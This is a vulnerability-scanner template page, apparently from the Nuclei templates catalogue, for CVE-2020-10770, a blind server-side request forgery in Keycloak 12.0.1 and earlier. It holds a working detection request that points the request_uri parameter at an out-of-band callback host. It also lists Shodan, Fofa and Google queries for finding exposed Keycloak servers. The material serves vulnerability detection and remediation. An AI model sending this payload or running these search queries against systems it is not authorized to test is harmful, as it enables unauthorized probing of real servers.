CVE-2020-10770: Keycloak <= 12.0.1 - request_uri Blind Server-Side Request Forgery (SSRF)
- Template: CVE-2020-10770
- Name: Keycloak <= 12.0.1 - request_uri Blind Server-Side Request Forgery (SSRF)
- Description: Keycloak 12.0.1 and below allows an attacker to force the server to request an unverified URL using the OIDC parameter request_uri. This allows an attacker to execute a server-side request forgery (SSRF) attack.
- Impact: Successful exploitation of this vulnerability could lead to unauthorized access to internal resources, data leakage, or further attacks.
- Remediation: Upgrade Keycloak to a version higher than 12.0.1 to mitigate this vulnerability.
- Severity: medium
- Authors: dhiyaneshDk
- Tags: cve, cve2020, keycloak, ssrf, oast, blind, packetstorm, edb, redhat, vkev, vuln
- References: https://packetstormsecurity.com/files/164499/Keycloak-12.0.1-Server-Side-Request-Forgery.html, https://www.exploit-db.com/exploits/50405, https://nvd.nist.gov/vuln/detail/CVE-2020-10770, https://bugzilla.redhat.com/show_bug.cgi?id=1846270, https://github.com/soosmile/POC
- Cves: CVE-2020-10770
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2020/CVE-2020-10770.yaml
- Digest: 4a0a00473045022100e3d2ed810b7e722995cc716b73e9b3e393b74226753ee93ad41bf59cae29613a02206395d96317f3040c574d710f0cb634cd9b22cf3258cc8377431925c450db9ed5
- Created at: 2021-10-18T15:36:32Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 1863
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-10770.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-918
- Cvss score: 5.3
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
- Epss score: 0.69724
- Epss percentile: 0.99382
- Cpe: cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: title="keycloak", icon_hash=-1105083093, body="keycloak"
- Google-query: intitle:"keycloak"
- Max-request: 1
- Product: keycloak
- Shodan-query: http.html:"keycloak", http.title:"keycloak", http.favicon.hash:-1105083093
- Vendor: redhat
Products
| Product | Indexed | Url |
|---|---|---|
| redhat:keycloak | yes | /v1/products/redhat/keycloak |
Labels
- Name: Keycloak - Server Side Request Forgery
- Impact: Attackers can force the server to make requests to arbitrary URLs, potentially leading to data exfiltration or internal network access.
- Remediation: Update to the latest version of Keycloak that addresses this issue or apply security patches provided by the vendor.
- Vulnerability type: server_side_request_forgery
- Vulnerability impact: server_side_request_forgery
- Requirement type: user_interaction
- Requirements: Attacker needs to control the request_uri parameter
- Labels source: projectdiscovery
- From cve: CVE-2020-10770
```yaml
id: CVE-2020-10770
info:
name: Keycloak <= 12.0.1 - request_uri Blind Server-Side Request Forgery (SSRF)
author: dhiyaneshDk
severity: medium
description: Keycloak 12.0.1 and below allows an attacker to force the server to request an unverified URL using the OIDC parameter request_uri. This allows an attacker to execute a server-side request forgery (SSRF) attack.
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access to internal resources, data leakage, or further attacks.
remediation: |
Upgrade Keycloak to a version higher than 12.0.1 to mitigate this vulnerability.
reference:
- https://packetstormsecurity.com/files/164499/Keycloak-12.0.1-Server-Side-Request-Forgery.html
- https://www.exploit-db.com/exploits/50405
- https://nvd.nist.gov/vuln/detail/CVE-2020-10770
- https://bugzilla.redhat.com/show_bug.cgi?id=1846270
- https://github.com/soosmile/POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
cvss-score: 5.3
cve-id: CVE-2020-10770
cwe-id: CWE-918
epss-score: 0.69724
epss-percentile: 0.99382
cpe: cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: redhat
product: keycloak
shodan-query:
- http.html:"keycloak"
- http.title:"keycloak"
- http.favicon.hash:-1105083093
fofa-query:
- title="keycloak"
- icon_hash=-1105083093
- body="keycloak"
google-query: intitle:"keycloak"
tags: cve,cve2020,keycloak,ssrf,oast,blind,packetstorm,edb,redhat,vkev,vuln
http:
- method: GET
path:
- '{{BaseURL}}/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{{interactsh-url}}/'
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
digest: 4a0a00473045022100e3d2ed810b7e722995cc716b73e9b3e393b74226753ee93ad41bf59cae29613a02206395d96317f3040c574d710f0cb634cd9b22cf3258cc8377431925c450db9ed5:922c64590222798bb761d5b6d8e72950
```